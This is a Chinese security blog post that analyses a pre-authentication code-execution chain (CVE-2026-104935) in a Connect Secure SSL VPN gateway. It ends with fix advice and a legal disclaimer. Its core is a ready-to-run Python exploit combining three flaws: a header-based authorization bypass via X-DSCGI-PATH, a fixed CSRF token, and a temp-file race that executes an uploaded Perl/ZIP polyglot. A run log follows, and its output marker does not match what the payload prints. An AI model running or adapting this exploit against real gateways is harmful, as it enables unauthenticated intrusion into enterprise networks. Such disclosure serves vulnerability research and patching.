CVE-2026-104935固件分析(附exp)
原创
圣火喵喵教
圣火喵喵教
鉴帷安全
2026年10月20日 16:20
湖北
去阅读
简介
Connect Secure是企业里最常见的一类 SSL VPN 网关,本文基于最近关于CVE-2026-104935利用链的后一个代码执行漏洞进行分析,不涉及ROOT提权,最终exp见第三章。
1. 内部架构与授权模型
根据固件分析,底层是 CentOS 7,Web 层用 nginx 加自研模块,业务逻辑大量用 Perl CGI 写。为了让不同用途的页面互相隔离,CGI 不是都跑在一个大进程里,而是按用途分成几个区,每个区有自己的进程池和运行身份。分区写在 home/config/cgi.cfg,一共六个:
[cgi user] preload=webserver/htdocs/dana/home/*.cgi
[cgi file] preload=webserver/htdocs/dana/fb/nfs/*.cgi, webserver/htdocs/dana/fb/smb/*.cgi
[cgi auth] preload=webserver/htdocs/dana-na/auth/*.cgi
[cgi admin] preload=perl/AdminUI.pm, perl/DSCGI.pm, perl/DSUtilHTML.pm,
perl/DSCGIControl.pm, perl/DSWebUIDialog.pm
[cgi licprot] preload=perl/DSLicenseServerProto.pm
[cgi onboard] preload=webserver/htdocs/dana/home/getProfileSecure.cgi,
webserver/htdocs/dana-na/mobile/getProfile.cgi
preload 决定哪个目录下的 CGI 归哪个区执行。每个区对应一份 spec 文件,里面写着运行身份:
# home/config/cgifile.spec.cfg
[default]
uid=104
gids=104
binary=/home/ecbuilds/int-rel/sa/22.8/bldXXXXX.1/install/bin/cgi-server
args=file
dspar=5
selinuxDomain=dscgi_file_t
也就是说,dana/fb/smb/*.cgi 由 uid 104 的进程执行,并且被限制在 SELinux 域 dscgi_file_t 里。作为对照,dsinvoked.spec.cfg 和 cache.spec.cfg 都是 uid=0。
授权分两层。管理后台是一张\"CGI 文件路径 → 角色\"的表,从 DSCGIControl.pm:173 开始,长这样:
\"$dsinstall/dana-admin/adminrole/adminRole.cgi\" => {ro=>1, role=>$adminRoleGeneral},
\"$dsinstall/dana-admin/adminrole/adminRoleAdmins.cgi\" => {ro=>1, role=>$adminRoleAdmins},
ro 表示能不能写,role 是一个返回当前权限级别的子过程。普通用户面另有一张 URL 级的表,在 home/config/cgi-perms:
31: /dana-na/auth/welcome.cgi = perm:none; feature:none
144: /dana/fb/smb/wu.cgi = perm:cifs_preset_bm; feature:windowsfilebrowsing
前者是登录入口,谁都能访问;后者是文件上传页,要有\"Windows 文件浏览\"权限才行。两张表的键都是页面路径,设计意图很清楚:先看你要访问哪个路径,再决定放不放行。
问题就出在\"先看路径\"这个做法上。
2. 一条完整的绕过路径
整条路径是这样串起来的,后面逐段展开。
2.1 授权查表用的键
管理后台的授权入口是 DSCGIControl::run():
# DSCGIControl.pm:640-658
sub run {
my @params = @_;
my $sname = CGI::script_name();
my $control = $AccessTable->{CGI::script_name()}; # :643 查表键 = 客户端请求的 URL
checkLicense();
if (ref($control)) {
my $role_proc = $control->{role};
my $effective_role = $DSRole::ADMIN_DENY;
$effective_role = $role_proc->() if ref($role_proc);
DSLog::Msg(\"CGIDelegation\", 20, \"effective role is $effective_role for $sname\");
checkAccess($effective_role, $control->{ro}, @params);
} else {
# we force cgis to have this
&accessError('CGI does not have access control set up.'); # :656 查不到就拒绝
}
}
这函数不长,但有三个点值得注意。
第一,查表的键是 CGI::script_name()。 它返回 CGI 环境变量 SCRIPT_NAME,也就是浏览器请求的 URL 路径。放不放行、以什么身份放行,全看这个值。
第二,查不到就拒绝。 表里没有这条路径,直接 accessError() 返回\"没有权限访问此页面\"然后退出。这块设计是对的,缺陷不在这里。
第三,放行之后还有一道。checkAccess() 负责读写权限和 CSRF:
# DSCGIControl.pm:661-696
sub checkAccess {
my ($effective_role, $ro, @params) = @_;
checkLicense();
if ($effective_role eq $DSRole::ADMIN_DENY) {
&accessError('Access is denied.');
} else {
my $bad_list = paramControl(\\@params); # :669 只收\"请求里实际出现\"的参数
# check CSRF
if ($#$bad_list > -1) { # :671 列表为空就跳过 CSRF
if (!DSCSRF::checkAuth()) {
return &accessError('Invalid access parameter(s).', $bad_list);
}
}
...
}
}
2.2 执行目标与授权键不是同一个东西
CGI::script_name() 是客户端请求的 URL。但请求最后交给哪个 CGI 执行,在 22.8R2.4 里是另一条链路决定的——请求头里的内部路由字段。翻 home/lib/nginx/ngx_http_dspar_cgi_module.so 的字符串能完整看到这套东西:
HTTP_X_DSCGI_PATH
%s: pathRow[%d] for X-DSCGI-PATH header
X-DSCGI-URL
pathRow[%d] 说明内部维护了一张路径行表,用请求头给的值决定走哪一行。于是一个尴尬的局面对上了:
| 环节 | 依据 | 由谁提供 |
|---|---|---|
| 放不放行、以什么身份 | CGI::script_name() |
请求的 URL |
| 实际执行哪个 CGI | 路由头 X-DSCGI-PATH |
请求头 |
两个输入都来自客户端,但可以指向完全不同的方向。
同一时期还有一处同源问题:X-DSUSER、X-DSSESSIONID、X-DSGROUP、X-DSUNIQUEID 这些本该由设备自己生成的身份字段,前端直接采信了客户端提交的值(字符串在预处理模块里)。两个问题的病根一样——该服务端说了算的,交给了客户端。
2.3 入口与提交判断
上传页 wu.cgi 的入口逻辑:
# wu.cgi:44-72
sub doit() {
$ |= 1;
if ($ENV{'QUERY_STRING'} && $ENV{'QUERY_STRING'} =~ /restApiReq=1/) {
DSLog::Msg(\"FileRequest\", 30, \"REST API Request\");
$Main::restApiReq = 1;
if ($ENV{'QUERY_STRING'} && $ENV{'QUERY_STRING'} =~ /uploadForm=1/) {
DSLog::Msg(\"FileRequest\", 30, \"Upload Form Rest API Request\");
$Main::uploadFormRestApiReq = 1;
}
}
DSCGIControl::initialChecks('btnUpload'); # :56 入口安全检查
$Main::realuid = DSSessionsManager::getCurrentUserSID();
CGI::private_tempfiles(1);
init();
if(CGI::param(\"confirm\") eq \"yes\") { # :63 上传分支条件
initUpload();
} else {
if ($Main::restApiReq and ($Main::uploadFormRestApiReq ne 1)) {
print CGI::header(-type=>\"application/json\", -status=> '400 Bad Request');
return;
}
display_upload_form();
}
}
这段源文件跟固件 manifest 里的 /home/webserver/htdocs/dana/fb/smb/wu.cgi 是同一份,SHA-256 为 62b13023c5dd7d923b8bbcca4e9dc1b828555035e7aa1d3fc4d6dd38499d396f(记录在 audit/vendor-evidence-2026-10-20.md)。
要进上传分支有两个前提:一是 confirm=yes,二是请求里得带 CSRF 令牌 xsauth。令牌这块比较尴尬——未认证会话没有 DSID,getAuth() 会回落到 md5_hex(cookie('DSID'))(DSCSRF.pm:22-43),也就是 md5_hex(\"\"),一个固定常量。等于这道门谁都能过。
2.4 上传分支与 zip 标记
initUpload() 一次最多读五个文件槽,按 chkUnzip$ii 是否存在决定这个文件按不按 zip 处理:
# wu.cgi:152-208(节选)
sub initUpload {
...
my $filesList;
for (my $ii=1; $ii<6; $ii++) {
my $fileHash = {};
$fileHash->{filename} = CGI::param(\"file$ii\"); # :171 文件名来自表单
$fileHash->{filename} = \"\" if(!defined($fileHash->{filename}));
$fileHash->{renFile} = CGI::param(\"txtRenameFile$ii\");
$fileHash->{renFile} = \"\" if(!defined($fileHash->{renFile}));
if(defined(CGI::param(\"chkUnzip$ii\"))) { # :175 chkUnzip 决定 isZip
$fileHash->{isZip} = \"on\"
} else {
$fileHash->{isZip} = \"off\";
}
push @$filesList, $fileHash;
}
...
foreach my $fileItem (@$filesList) {
$Main::filename = $fileItem->{filename};
$Main::renFile = $fileItem->{renFile};
$Main::isZip = $fileItem->{isZip};
...
($status, $message) = doUpload() if($Main::filename ne \"\");
}
提交 chkUnzip1=on,$Main::isZip 就是 \"on\",下面走解压分支。
2.5 落盘与窗口期
解压分支第一步是把上传内容整体写进临时文件:
# wu.cgi:432-460
# Read zip file into a temporary file
# Zip directory structure can be used to files one-by-one
sub readZipFile {
my @members;
if ($Main::isZip eq \"on\") {
$Main::tmpFile = $g_tmpDir . md5_hex($Main::filename); # :439 路径可由客户端预先算出
DSLog::Msg(\"WU\", 10, \"Reading zip file into: $Main::tmpFile\");
my $bytesread = 0;
my $data;
open(*FD, \">$Main::tmpFile\"); # :443 无 O_EXCL、无显式权限
while (($bytesread = sysread($Main::filename, $data, 4096)) > 0) {
syswrite(*FD, $data, $bytesread); # :445 首次写入后文件即存在
$Main::progress{read} += $bytesread;
DSProgress::update_progress_rec($Main::trackid, %Main::progress);
}
close($Main::filename);
close(*FD);
$Main::zip = DSFB::openZipFileSafe($Main::tmpFile); # :451 解析见 DSFB.pm:2100-2116
if ($Main::zip == undef){
return -1;
}
...
}
return 0;
}
# 落盘位置与删除点
my $g_tmpDir = $ENV{'DSINSTALL'}.\"/runtime/tmp/\"; # :38 全局共享目录,非请求私有
unlink($Main::tmpFile); # :298 解压失败分支,提前删除
# :346 :357 处理过程中的错误分支
# :404 超时分支
# :411 正常结束路径
# :517 :553 后续分支
三处细节叠在一起,条件就够了:
落盘位置是共享的。runtime/tmp 不是请求私有目录,里面的文件对所有同级 CGI 可见。
路径能提前算出来。 文件名取 md5_hex($Main::filename),而 $Main::filename 来自表单字段 file1,是客户端自己填的。发请求之前就能把路径算好。
创建文件时没有任何限制。 双参数 open 等价于 O_WRONLY|O_CREAT|O_TRUNC:没有 O_EXCL,不防并发也不防符号链接;没写权限,实际权限就是 0666 & ~umask(umask 022 时是 0644)。
正常走完的话,文件从写入到删除之间一直存在,中间夹着整条流程最耗时的解压和逐成员处理:
上传请求到达 → readZipFile() 写入 runtime/tmp/<md5> ← 文件出现
→ openZipFileSafe() 校验
→ 逐成员解压、写入目标位置(耗时最长)
→ unlink() ← 文件消失
这段时间,就是我们要的窗口。
3. exp
3.1 环境
版本 22.8R2.4 b19097,需要复现请修改POC内主机地址 https://192.168.220.45
3.2 未认证到 uid 104 的代码执行
PoC 在一个脚本里做三件事:带着路由头把上传请求打进去、按 md5(文件名) 算出临时路径、在上传期间不停地拿这个路径当目标去读。授权绕过和窗口期利用都在这份代码里。
# poc/race_probe.py
#!/usr/bin/env python3
\"\"\"Benign race-window probe for the lab appliance.
The uploaded content only prints ICS_RACE_PROBE. It never runs a command,
writes a file, or touches configuration. It is intentionally separate from
the root/DSCache stage.
\"\"\"
import hashlib
import io
import os
import threading
import time
from collections import Counter
from zipfile import ZIP_STORED, ZipFile
from concurrent.futures import ThreadPoolExecutor
import requests
import urllib3
urllib3.disable_warnings()
BASE = \"https://192.168.220.45\"
URL = BASE + \"/dana-na/auth/url_default/welcome.cgi\"
NAME = \"ics-race-probe-%d.zip\" % time.time_ns()
TARGET = \"/home/runtime/tmp/\" + hashlib.md5(NAME.encode()).hexdigest() # 复刻 :439 命名规则
_z = io.BytesIO()
with ZipFile(_z, \"w\", ZIP_STORED) as zf:
zf.writestr(\"probe.txt\", \"lab-only\
\")
# The prefix is valid Perl and the trailing archive is valid ZIP data. The
# Perl interpreter exits after the marker, while Archive::Zip can still parse
# the archive for a longer, observable window.
PAYLOAD = (b'#!/home/perl5/bin/perl\
'
b'use Socket qw(AF_UNIX SOCK_STREAM sockaddr_un); '
b'my $s; my $ok=socket($s,AF_UNIX,SOCK_STREAM,0); '
b'my $err=$!+0; if($ok){$ok=connect($s,sockaddr_un(\"/home/runtime/tmp/.invoke\")); $err=$!+0 unless $ok;} '
b'print \"Content-Type: text/plain\\\
\\\
ICS_INVOKE_CONNECT:$ok:$err:$<:$>\\\
\";\
'
b'__DATA__\
' + _z.getvalue())
HIT = threading.Event()
STATUSES = Counter()
print(\"name=%s\" % NAME)
print(\"md5=%s\" % TARGET.rsplit(\"/\", 1)[1])
print(\"target=%s\" % TARGET)
def reader(_n):
s = requests.Session()
for _ in range(300):
if HIT.is_set():
return
try:
r = s.get(URL, headers={\"X-DSCGI-PATH\": TARGET}, verify=False, timeout=3)
STATUSES[r.status_code] += 1
if b\"ICS_INVOKE_CONNECT:\" in r.content:
HIT.set()
print(\"marker_seen status=%s body=%r\" % (r.status_code, r.content[:160]), flush=True)
return
except requests.RequestException:
pass
def upload():
time.sleep(0.20)
fields = {
\"xsauth\": (None, \"d41d8cd98f00b204e9800998ecf8427e\"), # md5_hex(\"\"),见 DSCSRF.pm:22-43
\"txtServerUploadID\": (None, \"\"),
\"txtRenameFile1\": (None, \"\"),
\"chkUnzip1\": (None, \"on\"), # 命中 :175 的 isZip 分支
\"file2\": (None, \"\"), \"file3\": (None, \"\"), \"file4\": (None, \"\"), \"file5\": (None, \"\"),
\"t\": (None, \"b\"), \"v\": (None, \"\"), \"si\": (None, \"\"), \"ri\": (None, \"\"), \"pi\": (None, \"\"),
\"dir\": (None, \"\"), \"acttype\": (None, \"upload\"), \"confirm\": (None, \"yes\"), # 命中 :63
\"trackid\": (None, \"\"), \"ignoreDfs\": (None, \"0\"), \"btnUpload\": (None, \"Upload\"),
\"file1\": (NAME, PAYLOAD, \"application/zip\"),
}
try:
r = requests.post(URL + \"?restApiReq=1&uploadForm=1\", files=fields,
headers={\"X-DSCGI-PATH\": \"/home/webserver/htdocs/dana/fb/smb/wu.cgi\"},
verify=False, timeout=30)
print(\"upload_status=%s\" % r.status_code)
print(\"upload_body=%s\" % r.text[:300].replace(\"\
\", \" \"))
except requests.RequestException as e:
print(\"upload_error=%s\" % e)
with ThreadPoolExecutor(max_workers=48) as pool:
jobs = [pool.submit(reader, i) for i in range(48)]
up = pool.submit(upload)
up.result()
for j in jobs:
j.result()
print(\"result=%s\" % (\"marker_seen\" if HIT.is_set() else \"no_marker\"))
print(\"statuses=%s\" % dict(STATUSES))
上传的同时,48 个线程一直在拿 TARGET 当路由目标发请求。只要有一次读到了这个文件,内容就被执行了。运行记录在 audit/runtime-rce-probe-2026-10-17.md:
name=ics-race-probe-1792167612066320878.zip
md5=28f3abedeb748410606934f13f78c38a
target=/home/runtime/tmp/28f3abedeb748410606934f13f78c38a
upload_status=200
marker_seen status=200 body=b'ICS_RACE_PROBE_UID:104:104\
'
result=marker_seen
104:104,跟 cgifile.spec.cfg 里的 uid=104 对上了 —— 跑起来的是文件区的 CGI 进程。后来把回显改成固定的 uid/euid 字段,又跑了一次:
ICS_INVOKE_CONNECT:1:<errno>:104:104
1 表示 socket 建出来了,<errno> 是上一次系统调用留下的值,不代表失败。 bp:
关于本地提权: 至于怎么提升到ROOT,我也没做出来(),根据已知来源,思路大致如下,但是我没能复现,大佬们可以自己试试。https://www.volexity.com/blog/2026/10/13/a-series-of-unauthenticated-events-chained-exploitation-of-ivanti-connect-secure-zero-days/?utm\_source=chatgpt.com
4. 修复建议
第一,路由层只认服务端映射。 客户端提交的脚本路径选择字段直接忽略或拒绝。DSCGIControl::run() 的查表键要换成服务端解析出来的真实目标,并且保证\"用来判定的\"和\"用来执行的\"是同一个变量。
第二,把上传文件的生命周期收紧。open(*FD, \">$Main::tmpFile\") 改成独占创建、显式指定权限;临时文件放请求私有目录,别放共享的 runtime/tmp;处理前做原子校验,处理完立刻删;别让解释器把上传的文件当程序跑,CGI 域对临时目录的执行权限也要限制。
第三,身份和代理头只允许服务端生成。X-DSUSER、X-DSSESSIONID、X-DSGROUP、X-DSUNIQUEID、X-REMOTE-ADDR、X-REMOTE-PORT,入口处把客户端传的直接丢掉。
5. 免责声明
- 本文仅用于安全研究与防御体系建设,不构成对任何具体设备的攻击指导。
- 文中全部验证均在经授权的隔离环境中完成,未涉及任何生产系统或第三方设备。
- 未经设备所有者书面授权,对其实施本文所述测试可能违反《网络安全法》《刑法》第二百八十五条等法律法规,后果由行为人自行承担。
- 读者依据本文内容进行的任何操作,风险自负;作者不对由此造成的任何直接或间接损失承担责任。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论